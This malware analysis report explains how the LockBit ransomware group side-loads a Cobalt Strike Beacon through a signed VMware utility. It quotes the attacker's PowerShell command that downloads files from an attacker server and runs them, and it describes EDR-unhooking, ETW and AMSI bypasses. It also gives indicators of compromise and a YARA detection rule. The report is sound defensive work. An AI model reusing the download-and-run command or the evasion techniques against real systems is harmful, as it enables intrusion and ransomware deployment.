VMwareXferlogs.exe
used for data transfer to and from VMX logs is susceptible to DLL side-loading..log
file containing an encrypted Cobalt Strike Reflective Loader.LockBit is a Ransomware as a Service (RaaS) operation that has been active since 2019 (previously known as “ABCD”). It commonly leverages the double extortion technique, employing tools such as StealBit, WinSCP, and cloud-based backup solutions for data exfiltration prior to deploying the ransomware. Like most ransomware groups, LockBit’s post-exploitation tool of choice is Cobalt Strike.
During a recent investigation, our DFIR team discovered an interesting technique used by LockBit Ransomware Group to load a Cobalt Strike Beacon Reflective Loader. In this particular case, LockBit managed to side-load Cobalt Strike Beacon through a signed VMware xfer logs command line utility.
Side-loading is a DLL-hijacking technique used to trick a benign process into loading and executing a malicious DLL by placing the DLL alongside the process’ corresponding EXE, taking advantage of the DLL search order. In this instance, the threat actor used PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a .log
file containing an encrypted Cobalt Strike Reflective Loader. The VMware utility was then executed via cmd.exe
, passing control flow to the malicious DLL.
The DLL then proceeded to evade defenses by removing EDR/EPP’s userland hooks, as well as bypassing both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). The .log
file was then loaded in memory and decrypted via RC4, revealing a Cobalt Strike Beacon Reflective Loader. Lastly, a user-mode Asynchronous Procedure Call (APC) is queued, which is used to pass control flow to the decrypted Beacon.
The attack chain began with several PowerShell commands executed by the threat actor to download three components, a malicious DLL, a signed VMwareXferlogs executable, and an encrypted Cobalt Strike payload in the form of a .log
file.
Filename | Description |
glib-2.0.dll | Weaponized DLL loaded by VMwareXferlogs.exe |
VMwareXferlogs.exe | Legitimate/signed VMware command line utility |
c0000015.log | Encrypted Cobalt Strike payload |
Our DFIR team recovered the complete PowerShell cmdlets used to download the components from forensic artifacts.
Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\windows\debug\glib-2.0.dll; Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\debug\c0000015.log; Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\windows\debug\VMwareXferlogs.exe;c:\windows\debug\VMwareXferlogs.exe
The downloaded binary (VMwareXferlogs.exe
) was then executed via the command prompt, with the STDOUT being redirected to a file.
c:\windows\debug\VMwareXferlogs.exe 1> \\127.0.0.1\ADMIN$\__1649832485.0836577 2>&1
The VMwareXferlogs.exe
is a legitimate, signed executable belonging to VMware.
This utility is used to transfer data to and from VMX logs.
This command line utility makes several calls to a third party library called glib-2.0.dll
. Both the utility and a legitimate version of glib-2.0.dll
are shipped with VMware installations.
The weaponized glib-2.0.dll
downloaded by the threat actor exports all the necessary functions imported by VMwareXferlog.exe
.
Calls to exported functions from glib-2.0.dll
are made within the main function of the VMware utility, the first being g_path_get_basename()
.
Note that the virtual addresses for the exported functions are all the same for the weaponized glib-2.0.dll
(0x1800020d0), except for g_path_get_basename
, which has a virtual address of 0x180002420. This is due to the fact that all exports, except for the g_path_get_basename
function do nothing other than call ExitProcess()
.
On the other hand, g_path_get_basename()
invokes the malicious payload prior to exiting.
When VMwareXferlog.exe
calls this function, control flow is transferred to the malicious glib-2.0.dll
, rather than the legitimate one, completing the side-loading attack.
Once control flow is passed to the weaponized DLL, the presence of a debugger is checked by querying the BeingDebugged
flag and NtGlobalFlag
in the Process Environment Block (PEB). If a debugger is detected, the malware enters an endless loop.
At this juncture, the malware enters a routine to bypass any userland hooks by manually mapping itself into memory, performing a byte-to-byte inspection for any discrepancies between the copy of self and itself, and then overwriting any sections that have discrepancies.
This routine is repeated for all loaded modules, thus allowing the malware to identify any potential userland hooks installed by EDR/EPP, and overwrite them with the unpatched/unhooked code directly from the modules’ images on disk.
For example, EDR’s userland NT layer hooks may be removed with this technique. The below subroutine shows a trampoline where a SYSCALL stub would typically reside, but instead jumps to a DLL injected by EDR. This subroutine will be overwritten/restored to remove the hook.
Here is a look at the patched code to restore the original SYSCALL stub and remove the EDR hook.
Once these hooks are removed, the malware continues to evade defenses. Next, an attempt to bypass Event Tracing for Windows (ETW) commences through patching the EtwEventWrite
WinAPI with a RET instruction (0xC3), stopping any useful ETW-related telemetry from being generated related to this process.
AMSI is bypassed the same way as ETW through patching AmsiScanBuffer
. This halts AMSI from inspecting potentially suspicious buffers within this process.
Once these defenses have been bypassed, the malware proceeds to execute the final payload. The final payload is a Cobalt Strike Beacon Reflective Loader that is stored RC4-encrypted in the previously mentioned c0000015.log
file. The RC4 Key Scheduling Algorithm can be seen below with the hardcoded 136 byte key.
&.5 \C3%YHO2SM-&B3!XSY6SV)6(&7;(3.' $F2WAED>>;K]8\*D#[email protected](R,+]A-G\D HERIP:45:X(WN8[?3Y>XCWNPOL89>[.# Q' 4CP8M-%4N[7.$R->-1)$!NU"W$!YT<J$V[
The RC4 decryption of the payload then commences.
The final result is Beacon’s Reflective Loader, seen below with the familiar magic bytes and hardcoded strings.
Once decrypted, the region of memory that the payload resides in is made executable (PAGE_EXECUTE_READWRITE), and a new thread is created for this payload to run within.
This thread is created in a suspended state, allowing the malware to add a user-mode APC, pointing to the payload, to the newly created thread’s APC queue. Finally, the thread is resumed, allowing the thread to run and execute the Cobalt Strike payload via the APC.
The DLL is detected by the SentinelOne agent prior to being loaded and executed.
A handful of samples related to the malicious DLL were discovered by our investigation. The only notable differences being the RC4 key and name of the file containing the RC4-encrypted payload to decrypt.
For example, several of the samples attempt to load the file vmtools.ini
rather than c0000015.log
.
Another variant shares the same file name to load vmtools.ini
, yet is packed with a custom version of UPX.
The VMware command line utility VMwareXferlogs.exe
used for data transfer to and from VMX logs is susceptible to DLL side-loading. In our engagement, we saw that the threat actor had created a malicious version of the legitimate glib-2.0.dll
to only have code within the g_path_get_basename()
function, while all other exports simply called ExitProcess()
. This function invokes a malicious payload which, among other things, attempts to bypass EDR/EPP userland hooks and engages in anti-debugging logic.
LockBit continues to be a successful RaaS and the developers are clearly innovating in response to EDR/EPP solutions. We hope that by describing this latest technique, defenders and security teams will be able to improve their ability to protect their organizations.
SHA1 | Description |
729eb505c36c08860c4408db7be85d707bdcbf1b | Malicious glib-2.0.dll from investigation |
091b490500b5f827cc8cde41c9a7f68174d11302 | Decrypted Cobalt Strike payload |
e35a702db47cb11337f523933acd3bce2f60346d | Encrypted Cobalt Strike payload – c0000015.log |
25fbfa37d5a01a97c4ad3f0ee0396f953ca51223 | glib-2.0.dll vmtools.ini variant |
0c842d6e627152637f33ba86861d74f358a85e1f | glib-2.0.dll vmtools.ini variant |
1458421f0a4fe3acc72a1246b80336dc4138dd4b | glib-2.0.dll UPX-packed vmtools.ini variant |
File Path | Description |
c:\windows\debug\VMwareXferlogs.exe | Full path to legitimate VMware command line utility |
c:\windows\debug\glib-2.0.dll | Malicious DLL used for hijack |
c:\windows\debug\c0000015.log | Encrypted Cobalt Strike reflective loader |
C2 | Description |
149.28.137[.]7 | Cobalt Strike C2 |
45.32.108[.]54 | Attacker C2 |
import "pe" rule Weaponized_glib2_0_dll { meta: description = "Identify potentially malicious versions of glib-2.0.dll" author = "James Haughom @ SentinelOne" date = "2022-04-22" reference = "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/" /* The VMware command line utilty 'VMwareXferlogs.exe' used for data transfer to/from VMX logs is susceptible to DLL sideloading. The malicious versions of this DLL typically only have code within the function 'g_path_get_basename()' properly defined, while the rest will of the exports simply call 'ExitProcess()'. Notice how in the exports below, the virtual address for all exported functions are the same except for 'g_path_get_basename()'. We can combine this along with an anomalously low number of exports for this DLL, as legit instances of this DLL tend to have over 1k exports. [Exports] nth paddr vaddr bind type size lib name ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― 1 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_error_free 2 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_free 3 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_add_main_entries 4 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_free 5 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_get_help 6 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_new 7 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_option_context_parse 8 0x00001820 0x180002420 GLOBAL FUNC 0 glib-2.0.dll g_path_get_basename 9 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_print 10 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_printerr 11 0x000014d0 0x1800020d0 GLOBAL FUNC 0 glib-2.0.dll g_set_prgname This rule will detect malicious versions of this DLL by identifying if the virtual address is the same for all of the exported functions used by 'VMwareXferlogs.exe' except for 'g_path_get_basename()'. */ condition: /* sample is an unsigned DLL */ pe.characteristics & pe.DLL and pe.number_of_signatures == 0 and /* ensure that we have all of the exported functions of glib-2.0.dll imported by VMwareXferlogs.exe */ pe.exports("g_path_get_basename") and pe.exports("g_error_free") and pe.exports("g_free") and pe.exports("g_option_context_add_main_entries") and pe.exports("g_option_context_get_help") and pe.exports("g_option_context_new") and pe.exports("g_print") and pe.exports("g_printerr") and pe.exports("g_set_prgname") and pe.exports("g_option_context_free") and pe.exports("g_option_context_parse") and /* all exported functions have the same offset besides g_path_get_basename */ pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_error_free")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_get_help")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_new")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_add_main_entries")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_print")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_printerr")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_set_prgname")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_free")].offset and pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_parse")].offset and pe.export_details[pe.exports_index("g_free")].offset != pe.export_details[pe.exports_index("g_path_get_basename")].offset and /* benign glib-2.0.dll instances tend to have ~1k exports while malicious ones have the bare minimum */ pe.number_of_exports < 15 }
TTP | MITRE ID |
Encrypted Cobalt Strike payload | T1027 |
DLL Hijacking | T1574 |
ETW Bypass | T1562.002 |
AMSI Bypass | T1562.002 |
Unhooking EDR | T1562.001 |
Encrypted payload | T1027.002 |
Powershell usage | T1059.001 |
Cobalt Strike | S0154 |